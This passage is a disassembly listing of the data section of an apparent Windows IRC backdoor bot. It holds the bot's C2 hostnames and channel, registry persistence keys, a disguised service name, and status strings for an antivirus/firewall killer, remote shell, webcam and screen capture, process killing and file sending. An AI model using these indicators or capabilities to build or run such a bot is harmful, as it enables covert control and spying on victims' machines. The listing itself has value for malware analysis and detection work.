		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(4B4EBF76h), 5 dup(290E2EF5h), 5 dup(3948FE06h)
		dd 7Ah dup(0)
		dd 3948FE06h, 0
		dd 4B4EBF76h, 15h dup(0)
		dd 290E2EF5h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
